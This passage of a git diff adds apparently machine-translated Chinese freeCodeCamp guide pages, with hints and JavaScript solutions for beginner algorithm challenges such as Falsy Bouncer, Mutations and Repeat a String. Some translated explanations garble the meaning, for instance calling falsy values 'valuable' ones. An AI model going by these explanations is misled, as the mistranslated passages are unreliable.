+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+**理解递归**
+
+递归是指重复（调用）自身的函数。在这种情况下，我们基本上返回给定的数字（即5），乘以函数本身，但这次传递给_num_参数的值是`num-1` （最初转换为4）。这个功能**本身**就很有趣，呃？
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+**了解流程**
+
+如果您考虑在中学完成的那些括号操作，您可以更好地可视化第一个**返回**值，您可以在内部，括号和方括号内的每个括号内进行数学计算，直到获得最终结果（总计）。这次是同样的事情，看一下程序流程：
+
+### 在第一次执行函数期间：
+
+\[ **num** = 5\]
+
+5 _等于_ 1还是0？ **不** ---> Oki doki，让我们继续......
+
+**返回：**
+
+（ **5** _（_第二次执行\_： **4** \_（ _第三次执行_ ： **3次** _（_第四次执行： **2** _次，第五次执行_ ： **1次** ））））
+
+它返回的内容可以被视为`(5*(4*(3*(2*1))))`或只是`5 * 4 * 3 * 2 * 1` ，该函数将返回该操作的结果： `120` 。现在，让我们检查其余的执行操作：
+
+### 在其余的执行期间：
+
+**第二次执行** ： _num_ = 5-1 = **4** - >是_num_ 0还是1？没有
+
+\- >当_num_现在是4-1时，返回4和下一个结果之间的乘法。
+
+**第三次执行** ： _num_ = 4 - 1 = **3** - >是_num_ 0还是1？没有
+
+\- >当_num_现在为3-1时，返回3和下一个结果之间的乘法。
+
+**第四次执行** ： _num_ = 3-1 = **2** - >是_num_ 0还是1？没有
+
+\- >当_num_现在为2-1时，返回2和下一个结果之间的乘法。
+
+**第五次执行** ： _num_ = 2-1 = **1** - >是_num_ 0还是1？是的
+
+\- >返回**1** 。这是递归停止的地方，因为没有更多的执行。
+
+得到它了？ ![:wink:](https://forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=3 "：眨眼：")
+
+> _现在尝试解决问题_
+
+#### 相关链接
+
+*   [JS函数](https://www.youtube.com/watch?v=R8SjM4DKK80)
+*   [JS中的递归](https://www.youtube.com/watch?v=k7-N8R0-KY4)
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")代码解决方案
+```
+function factorialize(num) { 
+  if (num === 0) { return 1; } 
+  return num * factorialize(num-1); 
+ } 
+ 
+ factorialize(5); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/1)
+
+## 代码说明：
+
+请注意，在第一行，我们有终端条件，即检查递归结束的条件。如果`num == 0` ，那么我们返回1，即有效地结束递归并通知堆栈将该值传播到较高级别。如果我们没有这个条件，递归将继续，直到堆栈空间被消耗，从而导致[堆栈溢出](https://en.wikipedia.org/wiki/Stack_overflow) 。
+
+### 相关链接
+
+*   [递归](https://www.codecademy.com/en/courses/javascript-lesson-205/0/1)
+*   [Factorialization](https://en.wikipedia.org/wiki/Factorial)
+*   [算术运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md
new file mode 100644
index 0000000000..916a7a09f9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/falsy-bouncer/index.md
@@ -0,0 +1,73 @@
+---
+title: Falsy Bouncer
+localeTitle: Falsy Bouncer
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/5/55dedad40d9f3f662c70d1eac4effc00c7d26bd9.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+从数组中删除所有[有价值的](https://guide.freecodecamp.org/javascript/falsy-values/)值。
+
+#### 相关链接
+
+*   [虚假的价值观](https://guide.freecodecamp.org/javascript/falsy-values/)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+Falsy是评估为FALSE的东西。 JavaScript中只有六个假值：undefined，null，NaN，0，“”（空字符串），当然还有false。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+我们需要确保我们有所有的虚假值来比较，我们可以知道它，也许有一个具有所有虚假值的函数...
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+然后我们需要添加一个带有falsy值函数的`filter()` ...
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function bouncer(arr) { 
+  return arr.filter(Boolean); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/32)
+
+### 代码说明：
+
+该`Array.prototype.filter`方法需要一个返回的函数`Boolean`值，其采用单个参数，并返回`true`用于[truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)值或`false`用于[falsy](https://guide.freecodecamp.org/javascript/falsy-values/)值。因此，我们传递内置的`Boolean`函数。
+
+#### 相关链接
+
+*   [布尔](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+*   [Truthy](http://forum.freecodecamp.com/t/javascript-truthy-value/15975)
+*   [Array.prototype.filter（）](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:trophy:](https://forum.freecodecamp.com/images/emoji/emoji_one/trophy.png?v=3 "：杯：")积分：
+
+如果您发现此页面有用，可以通过在主聊天上复制并粘贴此页面来表示感谢：
+
+**`Thanks @renelis @abhisekp @Rafase282 for your help with Algorithm: Falsy Bouncer`**
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md
new file mode 100644
index 0000000000..210ba99a36
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/find-the-longest-word-in-a-string/index.md
@@ -0,0 +1,143 @@
+---
+title: Find the Longest Word in a String
+localeTitle: 找到字符串中最长的单词
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+你必须仔细检查每个单词并找出哪个单词最长并且不返回单词，而是返回它有多少个字符。
+
+#### 相关链接
+
+*   [JS字符串长度](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/length)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您应该将字符串拆分为单词数组。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您需要找到一种方法来全局跟踪最大当前长度。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+还记得如何获取数组中元素的长度吗？ `Array[index].length` 。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function findLongestWordLength(str) { 
+  var words = str.split(' '); 
+  var maxLength = 0; 
+ 
+  for (var i = 0; i < words.length; i++) { 
+    if (words[i].length > maxLength) { 
+      maxLength = words[i].length; 
+    } 
+  } 
+ 
+  return maxLength; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/5)
+
+### 代码说明：
+
+取字符串并将其转换为单词数组。声明一个变量以跟踪最大长度并从0循环到单词数组的长度。
+
+然后通过将当前单词与前一单词进行比较并存储新的最长单词来检查最长的单词。在循环结束时，只返回变量maxLength的数值。
+
+#### 相关链接
+
+*   [JS Array.length](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/length)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+**使用`.reduce()`**
+```
+function findLongestWordLength(s) { 
+  return s.split(' ') 
+    .reduce(function(x, y) { 
+      return Math.max(x, y.length) 
+    }, 0); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/6)
+
+### 代码说明：
+
+有关`reduce`更多信息， [请单击此处。](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+
+如果您在回调函数之后想知道该`0` ，它将用于给`x`的初始值，以便`Math.max`知道从哪里开始。
+
+#### 相关链接
+
+*   [JS Reduce](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [JS减少轻松](http://forum.freecodecamp.com/t/using-array-prototype-reduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/14687)
+*   [JS Math Max](http://forum.freecodecamp.com/t/javascript-math-max/14682.md)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+**使用递归**
+```
+function findLongestWordLength(str) { 
+ 
+  //split the string into individual words 
+  //(important!!, you'll see why later) 
+  str = str.split(" "); 
+ 
+  //str only has 1 element left that is the longest element, 
+  //return the length of that element 
+  if(str.length == 1){ 
+    return str[0].length; 
+  } 
+ 
+  //if the first element's length is greater than the second element's (or equal) 
+  //remove the second element and recursively call the function) 
+  if(str[0].length >= str[1].length){ 
+    str.splice(1,1); 
+    return findLongestWordLength(str.join(" ")); 
+  } 
+ 
+  //if the second element's length is greater thant the first element's start 
+  //call the function past the first element 
+  if(str[0].length <= str[1].length){ 
+    // from the first element to the last element inclusive. 
+    return findLongestWordLength(str.slice(1,str.length).join(" ")); 
+  } 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/7)
+
+### 代码说明：
+
+第一行将字符串拆分为单个单词。然后我们检查`str`只有1个元素，那么这是最长的元素，我们返回它。如果第一个元素的长度大于第二个元素的长度（或等于），我们删除第二个元素并递归调用函数`findLongestWord` 。但是，如果第二个元素的长度大于第一个元素的开始，那么我们将函数调用到第一个元素之后。
+
+#### 相关链接
+
+*   [JS函数](https://www.youtube.com/watch?v=R8SjM4DKK80)
+*   [递归基础](https://www.youtube.com/watch?v=k7-N8R0-KY4)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md
new file mode 100644
index 0000000000..d109d65c6c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/finders-keepers/index.md
@@ -0,0 +1,49 @@
+---
+title: Finders Keepers
+localeTitle: Finders Keepers
+---
+## 问题解释
+
+我们需要从传递函数的数组中返回元素。 `function`和`array`都传递给我们的函数`findElement(arr, func)` 。
+
+## 提示：1
+
+通过`for`循环可以查看数组。
+
+> _现在尝试解决问题_
+
+## 提示：2
+
+`num`传递给函数。我们需要将它设置为我们想要使用该函数检查的元素。
+
+> _现在尝试解决问题_
+
+## 提示：3
+
+不要忘记，如果数组中没有数字通过测试，它应返回`undefined` 。
+
+> _现在尝试解决问题_
+
+## 基本解决方案
+
+```javascript
+function findElement(arr, func) { 
+  let num = 0; 
+ 
+  for(var i = 0; i < arr.length; i++) { 
+    num = arr[i]; 
+    if (func(num)) { 
+      return num; 
+    } 
+  } 
+ 
+  return undefined; 
+ } 
+```
+
+## 代码说明
+
+*   挑战要求我们通过数组查看。这是使用`for`循环完成的。
+*   `num`变量被传递给函数，因此我们将它设置为数组中的每个索引。
+*   预定义的函数已经为我们检查了每个数字，所以如果它是“true”，我们将返回该数字。
+*   如果数组中没有数字通过函数的测试，我们返回undefined。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md
new file mode 100644
index 0000000000..b602e8d2d9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Algorithm Scripting
+localeTitle: 基本算法脚本
+---
+## 基本算法脚本
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md
new file mode 100644
index 0000000000..003a8a614c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/mutations/index.md
@@ -0,0 +1,102 @@
+---
+title: Mutations
+localeTitle: 突变
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+*   如果数组的第一个元素中的字符串包含数组的第二个元素中字符串的所有字母，则返回true。
+
+#### 相关链接
+
+*   [String.indexOf（）](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   如果一切都是小写的，那么比较会更容易。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   如果它们是字符数组，我们的字符串可能更容易使用。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   循环可能会有所帮助。使用`indexOf()`检查第二个单词的字母是否在第一个单词上。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+**程序**
+```
+function mutation(arr) { 
+  var test = arr[1].toLowerCase(); 
+  var target = arr[0].toLowerCase(); 
+  for (var i=0;i<test.length;i++) { 
+    if (target.indexOf(test[i]) < 0) 
+      return false; 
+  } 
+  return true; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/30)
+
+### 代码说明：
+
+首先，我们将数组中的两个字符串设为小写。 `test`将保持我们在`target`中寻找的东西。  
+然后我们遍历我们的测试字符，如果找不到任何一个，我们`return false` 。
+
+如果_都_发现他们时，循环完成，而无需返回任何东西，我们开始`return true` 。
+
+#### 相关链接
+
+*   [String.toLowerCase（）](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+**陈述**
+```
+function mutation(arr) { 
+  return arr[1].toLowerCase() 
+    .split('') 
+    .every(function(letter) { 
+      return arr[0].toLowerCase() 
+        .indexOf(letter) != -1; 
+    }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/31)
+
+### 代码说明：
+
+抓住第二个字符串，小写并将其转换为数组;然后确保它的_每个_ _字母_都是小写的第一个字符串的一部分。
+
+`Every`人基本上都会给你一个字母来比较，我们通过在第一个字符串上使用`indexOf`来做。如果缺少当前`letter` `indexOf`将给出-1。我们检查不是这种情况，因为如果这种情况发生，即使`every`都是假的。
+
+#### 相关链接
+
+*   [Array.split（）](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [Array.every（）](http://forum.freecodecamp.com/t/javascript-array-prototype-every/14287)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md
new file mode 100644
index 0000000000..e3d6459bdb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/repeat-a-string-repeat-a-string/index.md
@@ -0,0 +1,119 @@
+---
+title: Repeat a String Repeat a String
+localeTitle: 重复一个字符串重复字符串
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+该程序非常简单，我们必须采用一个变量并返回该变量重复一定次数。无需添加空格或任何内容，只需将其重复一个单独的字符串即可。
+
+#### 相关链接
+
+*   [全局字符串对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您无法编辑字符串，您需要创建一个变量来存储新字符串。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+创建一个循环，根据需要多次重复代码。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+使创建的变量存储当前值并将单词附加到它。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function repeatStringNumTimes(str, num) { 
+  var accumulatedStr = ''; 
+ 
+  while (num > 0) { 
+    accumulatedStr += str; 
+    num--; 
+  } 
+ 
+  return accumulatedStr; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/19)
+
+### 代码说明：
+
+*   创建一个空字符串变量来存储重复的单词。
+*   根据`num`使用while循环或for循环根据需要多次重复代码
+*   然后我们只需要将字符串添加到在第一步中创建的变量，并根据设置循环的方式增加或减少`num` 。
+*   在循环结束时，返回重复单词的变量。
+
+#### 相关链接
+
+*   JS while Loop
+*   [JS for Loops解释](https://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function repeatStringNumTimes(str, num) { 
+  if(num < 0) 
+    return ""; 
+  if(num === 1) 
+    return str; 
+  else 
+    return str + repeatStringNumTimes(str, num - 1); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/21)
+
+### 代码说明：
+
+*   此解决方案使用递归。
+*   我们检查`num`是否为负数，如果为true则返回空字符串。
+*   然后我们检查它是否等于1，在这种情况下我们返回字符串本身。
+*   如果没有，我们将字符串添加到我们函数的调用中， `num`减少1，这将添加另一个`str`和另一个..直到最终`num`为1.并返回整个过程。
+
+#### 相关链接
+
+*   [函数 - 递归](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions#Recursion)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function repeatStringNumTimes(str, num) { 
+  return num > 0 ? str.repeat(num) : ''; 
+ } 
+ 
+ repeatStringNumTimes("abc", 3); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/85)
+
+### 代码说明：
+
+*   该解决方案采用声明式方法。
+*   它类似于第三种解决方案，除了它使用`if`语句的三元运算符形式。
+
+#### 相关链接
+
+*   [JS三元](https://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](https://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md
new file mode 100644
index 0000000000..027052e3df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/return-largest-numbers-in-arrays/index.md
@@ -0,0 +1,160 @@
+---
+title: Return Largest Numbers in Arrays
+localeTitle: 返回数组中的最大数字
+---
